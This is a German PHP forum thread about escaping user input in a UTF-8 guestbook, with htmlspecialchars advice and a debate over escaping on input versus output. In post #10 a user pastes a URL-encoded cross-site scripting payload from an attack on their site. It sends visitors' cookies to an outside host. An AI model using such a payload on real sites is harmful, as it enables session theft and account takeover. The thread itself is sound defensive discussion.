htmlentities in utf-8

Einklappen
X
 
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • htmlentities in utf-8

    Hallo,

    wie kann ich verhindern, dass html in meinem Guestbook funktioniert. Früher hab ich htmlspecialchars() verwendet.

    Jetzt basiert meine Webside aber auf utf-8 und darum möchte ich die htmlentities vermeiden.

    Gibt es da eine andere Möglichkeit?

  • #2
    Früher hab ich htmlspecialchars() verwendet.
    verwende es weiter. htmlentities() ist bei utf8 i.d.t. etwas sinnfrei. ;-)
    INFO: Erst suchen, dann posten![color=red] | [/color]MANUAL(s): PHP | MySQL | HTML/JS/CSS[color=red] | [/color]NICE: GNOME Do | TESTS: Gästebuch[color=red] | [/color]IM: Jabber.org |


    Kommentar


    • #3
      Ok, jetzt hab ich nur noch eine Frage:

      Ist es besser diese Funktion beim Eintragen oder beim Auslesen der Daten zu verwenden. Zur Zeit verwende ich sie vor dem Eintragen.

      Kommentar


      • #4
        ich mache sowas immer erst bei der ausgabe. ;-)

        so habe ich auch die unveränderten daten in der db.
        INFO: Erst suchen, dann posten![color=red] | [/color]MANUAL(s): PHP | MySQL | HTML/JS/CSS[color=red] | [/color]NICE: GNOME Do | TESTS: Gästebuch[color=red] | [/color]IM: Jabber.org |


        Kommentar


        • #5
          Wie mach ich das dann bei den breaks?
          Wenn ich die mit htmlspecialchars bearbeite, funktionieren sie nicht mehr so, wie sie sollten.

          Kommentar


          • #6
            Original geschrieben von Abraxax
            ich mache sowas immer erst bei der ausgabe. ;-)

            so habe ich auch die unveränderten daten in der db.
            Kontra! Ich mache es bei der Eingabe, weil Daten i.d.R. einmalig geschrieben werden, aber mehrmals gelesen. Lieber ohne originale Eingabe leben, aber dafür schnellere Seiten - zumindest wenn relativ sicher ist, dass man die Daten nie (wieder) in ihrer Urform braucht.
            Und eineindeutige Verarbeitungen auf jeden Fall vorm Speichern. Schließlich ließen sich die Urdaten wieder gewinnen.

            Höre ich ein Re?

            Kommentar


            • #7
              zumindest wenn relativ sicher ist, dass man die Daten nie (wieder) in ihrer Urform braucht.
              und genau das kann ich bei einem cms nicht ausschliessen!
              INFO: Erst suchen, dann posten![color=red] | [/color]MANUAL(s): PHP | MySQL | HTML/JS/CSS[color=red] | [/color]NICE: GNOME Do | TESTS: Gästebuch[color=red] | [/color]IM: Jabber.org |


              Kommentar


              • #8
                Original geschrieben von Stargast
                Wenn ich die mit htmlspecialchars bearbeite, funktionieren sie nicht mehr so, wie sie sollten.
                das ist eine unglaubliche Fehlerbeschreibung -.-

                Ein netter Guide zum übersichtlichen Schreiben von PHP/MySQL-Code!

                bei Klammersetzung bevorzuge ich jedoch die JavaCoding-Standards
                Wie man Fragen richtig stellt

                Kommentar


                • #9
                  PHP-Code:
                  $string htmlspecialchars($stringENT_QUOTES'UTF-8'); 
                  So sollte es funzen. Und die Kollation der Datenbank muss natürlich stimmen, falls du eine verwendest.

                  Kommentar


                  • #10
                    klappt bei mir nicht

                    Hi, ich hab auch so ein Problem mit den Zeichencodierungen und Html. Bei mir ist es möglich folgenden Code in dsa Skript einzugeben:

                    suchen.php?s=1&tag=a%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%5 3%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28104,116,116,112,58,47,47,114,119,46,100,10 1,118,97,103,101,110,116,115,46,100,101,47,110,117,114,47,106,97,99,107,46,112,104,112,63,106,97,99, 107,61)%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E&a=1&b=1">

                    Dadurch wird eine fremde Seite aufgerufen, die Cookies rausgeladen und schon fast ist der Böse mit dem Passwort von dem anderen online. Nach dem kurzen aufrufen der fremden Seite wird wieder zu meiner Seite weitergeleitet.

                    Was kann ich nun dagegen machen?

                    Hab folgendes probiert und es hat alles den Code so gelassen, wie er da steht:

                    $string = 'suchen.php?s=1&tag=a%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D% 53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28104,116,116,112,58,47,47,114,119,46,100,1 01,118,97,103,101,110,116,115,46,100,101,47,110,117,114,47,106,97,99,107,46,112,104,112,63,106,97,99 ,107,61)%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E&a=1&b=1">';

                    echo $string;

                    echo '<br /><br />';

                    echo htmlentities($string);

                    echo '<br /><br />';

                    echo htmlspecialchars($string, ENT_QUOTES, 'UTF-8');

                    echo '<br /><br />';

                    echo strip_tags($string);

                    Danke...

                    Kommentar


                    • #11
                      Re: klappt bei mir nicht

                      Was wird denn bei den echos ausgegeben? (Quellcode im Browser, nicht das was du im Browser siehst!)

                      Ein netter Guide zum übersichtlichen Schreiben von PHP/MySQL-Code!

                      bei Klammersetzung bevorzuge ich jedoch die JavaCoding-Standards
                      Wie man Fragen richtig stellt

                      Kommentar


                      • #12
                        Ich glaube, es war zu spät in der Nacht...er hat diesen komischen Zeichen am Ende doch ersetzt, oder? D.h. die Weiterleitung dürfte doch nicht mehr gehen?


                        EDIT:
                        Code entfernt - wir wollen hier nicht meterweit querscrollen müssen!
                        wahsaga

                        Zuletzt geändert von wahsaga; 28.09.2006, 12:42.

                        Kommentar

                        Lädt...
                        X